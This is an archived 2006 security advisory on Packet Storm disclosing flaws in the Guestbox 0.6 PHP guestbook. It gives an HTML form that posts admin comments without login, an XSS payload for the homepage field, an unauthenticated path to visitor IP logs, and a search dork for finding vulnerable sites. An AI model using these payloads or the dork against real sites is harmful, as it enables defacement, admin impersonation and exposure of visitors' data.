what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

guestbook06.txt

guestbook06.txt
Posted Feb 25, 2006
Authored by l0om | Site excluded.org

Login - Guestbox version 0.6 suffers from cross site scripting and administrative bypass flaws.

tags | exploit, xss
SHA-256 | e7678dce241a98b21a240835ec53db5b588aaa2c1116c60056d1f0f6406a043e

guestbook06.txt

Change Mirror Download
author.:  l0om  -  www.excluded.org
product: guestbox (latest non-BETA) 0.6
page: http://spring.realone.ch
dork: "Login - Guestbox 0.6" inurl:guestbox.php

someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.

1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.

simply create the following html document and post comments as admin:

<html>
<body>
<center>
<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY_NUMBER">
<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>
<input type="submit" name="submit" value="comment">
</form>
</center>
</body>
</html>


---8<--- source:action.php ---8<---

[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
switch ($_GET['action'])
{
case "comment" :

if (isset($_POST['submit'])) {

//
// admin check????
//
edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(\015\012)|(\015)|(\012)/","<br />",html
entities($_POST['text'])));
[...]
// like this
if ($admin == 1) {
[...]
<input type=\"submit\" name=\"submit\" value=\"comment\">
</form></center>";
[...]
if ($admin == 1) {
$datei=fopen("./".$gbdaten,"r");
while(feof($datei)==0) {
[...]



2.0 XSS/HTML injection
--------

if you add an entry to the guestbook you can inject javascript code.
there have to be "magic_quotes_gpc" set to "Off" in your php.ini for injection as
it will otherwise qoute out all your GET/POST data...

the sources says:
gbshow.php:
if (preg_match("/http:\/\/.+/i", $data[3])) {
$homepage="<a href=\"$data[3]\" target=\"_blank\"><img src=\"./home.gif\" border=0 alt=".$data[3]."></a>";
[...]

what can be exploited with the following string in the "hompage" field.:

http://"><script>alert('your mom...');</script>test.de

btw: there are a few other ways to inject code to the gb.

if "magic_quotes_pgc" is set to "On" you still can INJECT HTML of course.


3.0 view IPs
------------

for normal its an admin feature to view the ip address of the host which have added the
entry to the guestbook. simply view the guestbook with all data for all entrys with opening
the "<url>/gb/gblog" does the trick for everyone as well.


have phun,
l0om

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close